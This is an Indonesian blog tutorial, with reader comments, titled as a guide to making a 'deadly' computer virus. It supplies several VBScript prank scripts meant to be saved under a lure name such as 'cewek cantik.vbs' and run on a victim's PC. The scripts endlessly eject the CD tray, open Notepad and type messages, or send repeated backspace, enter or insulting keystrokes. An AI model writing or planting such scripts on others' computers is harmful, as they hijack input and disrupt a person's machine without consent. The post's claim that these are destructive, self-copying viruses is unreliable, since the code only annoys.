Cara Membuat Virus Komputer Nakal

Cara Membuat Virus Komputer Nakal Mematikan
Cara Membuat Virus Komputer Nakal Mematikan - Setiap orang yang mempunyai komputer atau laptop pasti mengetahui yang namanya virus komputer ! virus komputer dapat merusak bahkan menghapus semua file dan merusak sistem komputer, virus komputer menyalin atau menggandakan diri dengan cara menyisipkan ke dalam program atau dokumen

ok,daripada teman-teman tidak sabar lagi untuk membuat virus dengan notepad langsung saja yuk ikuti tutorialnya di bawah ini :

Buka notepad lalu masukan kode di bawah ini :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
lalu simpan dengan nama cewek cantik.vbs atau namanya terserah anda, salakan di beri ekstensinya .vbs dan klik filenya 2 x.Virus tersebut dapat Membuat CD/DVD ROM akan terbuka/tertutup secara otomatis tanpa berhenti

Kode vbs yang ke dua

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop
kode tersebut dapat membuka notepad otomatis dan menulis Halo. apa kabar? kabar baik? pada notepad
untuk caranya sama seperti di atas



Menekan backspace secara otomatis dan berulang-ulang

MsgBox "Selamat Anda Tertipu!"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

Menekan enter secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop
Mengetik Kamu Kok Gila Banget ya ! secara otomatis dan berulang-ulang
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu Kok Gila Banget ya !"
loop 


Previous
Next Post »

2 komentar

Click here for komentar
February 10, 2016 at 1:26 PM ×

mantap banget gan
terima kasih untuk berbagi info gan
semoga terus berkaya ya gan dan update terus....
thumbs up 4

Balas
avatar
admin

Terima telah berkunjung dan meniggalkan komentar di blog sederhana ini..!

NB :
1. Jangan berkomentar SPAM
2. Jangan meninggalakan LINK aktif karna otomatis akan terhapus.
Show Conversion Code Hide Conversion Code Show Emoticon Hide Emoticon

Thanks for your comment
Widget by